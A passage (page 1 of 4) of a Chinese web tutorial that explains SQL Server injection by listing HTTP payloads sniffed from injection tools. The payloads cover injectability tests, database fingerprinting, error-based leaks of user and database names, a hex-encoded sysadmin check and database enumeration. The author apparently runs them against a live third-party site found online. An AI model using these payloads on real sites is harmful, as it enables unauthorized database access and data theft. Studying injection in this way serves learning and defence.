登录模块加载中...
会员投稿 投稿指南 今天是:
打印本页 | 关闭窗口 | 双击滚屏 您的位置首页>>网页制作学习园地>>数据库类>>SQLServer>>全面了解SQLServer注入过程
全面了解SQLServer注入过程
来源:网页教学网 ‖ 作者: ‖ 点击: ‖ 时间:13-01-14 12:16:03 ‖ 【 】‖ 我要投稿

想了解sql注入的过程和原理,网上找了些文章,讲得都比较肤浅,但是我知道有几款国内比较常用的注入工具,比如Domain3.5、NBSI3.0、啊D2.32、还有Pangolin、还有一些国外的。这里随便弄几个来研究一下就ok。这次用到的嗅探工具是sniffx专门嗅探http的数据包,功能不强大,但是足够这次活动的使用。本来想使用ethereal或wireshark,但是里面复制数据包内容老是把没有转码的16进制也复制了过来,有点麻烦。也就是说这两个工具用得不娴熟。

【查询数据库信息】

本地没有找到好点的有注入漏洞的系统,只好在网上寻找了,先用Domain3.5,运行很好以来就找到个sqlserver,sa权限的注入点,点Domain3.5上面的“开始检测”

domain3.5_inj

以下是Domain3.5中嗅探出来的http数据包:
news_show.asp?id=15618%20and%201=1
news_show.asp?id=15618%20and%201=2
news_show.asp?id=15618%20and%20exists%20(select%20*%20from%20sysobjects)
news_show.asp?id=15618%20and%20char(124)%2Buser%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–
news_show.asp?id=15618%20and%20char(124)%2Bdb_name()%2Bchar(124)=0
news_show.asp?id=15618%20And%20IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)=1

以下是NBSI3.0中嗅探出来的http数据包:
news_show.asp?id=15618%20and%20user%2Bchar(124)=0
news_show.asp?id=15618%20And%20system_user%2Bchar(124)=0
news_show.asp?id=15618%20And%20Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1
news_show.asp?id=15618%20And%20db_name()%2Bchar(124)=0
news_show.asp?id=15618;declare%20@a%20int–

啊D和Pangolin的数据包这里就不列出来了,都差不多。基本的过程是通过and 1=1和and 1=2来判断是否可注入,一般1=1返回http 200(ok),1=2返回http 500(internal server error)表示injectable。然后and exists(select * from sysobjects)来判断数据库类型,sysobjects是sqlserver每个数据库自带的用来存储数据库信息的表格,access每个数据库自带的表格是msysobjects。判断出来是sqlserver数据库之后,然后用系统自带的变量user,system_user和0比较,system_user是nchar类型,user是char类型,0是肯定是int类型,因为不同类型的数据在sqlserver中无法直接比较,所以对于开启错误提示的sqlserver来说就会报错,顺便将敏感信息也暴了出来:

sql_inj_system_user

关于user,system_user的解释,点上面的链接到msdn上去看看。
Cast(IS_SRVROLEMEMBER(0×730079007300610064006D0069006E00)%20as%20nvarchar(1))%2Bchar(124)=1cast()作用是将一种数据类型的表达式显式转换为另一种数据类型的表达式。CAST 和 CONVERT 提供相似的功能。IS_SRVROLEMEMBER指示 SQL Server 2005 登录名是否为指定固定服务器角色的成员,返回值类型为int,0表示不是某某成员,1表示是。0×730079007300610064006D0069006E00是’sysadmin’的16进制码,为啥要弄成16进制呢,我猜想可能是怕网站程序过滤点sysadmin关键字,如果页面正常返回(200),则表示该用户是sysadmin。精心将int转换成nvarchar(1)又会暴出类型转换错误,而这就是黑客所需要的信息。db_name()回暴出当前数据库名。
;declare%20@a%20int–申明一个int变量a,作用我不得而知。

接下来的工作是列出服务器上的数据库名:(假设服务器上有16个数据库)

  1. news_show.asp?id=15618 And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From master..sysdatabases)%3E0
  2. news_show.asp?id=15618 And char(124)+(Select Top 1 cast([name] as varchar(8000)) from(Select Top 1 dbid,name from [master]..[sysdatabases]
    |<< << < 1 2 3 4 > >> >>|
加入收藏:  加入收藏夹  | 发送给好友:  发送给好友
责任编辑:admin
相关文章列表
请文明参与讨论,禁止漫骂攻击。  
网友评论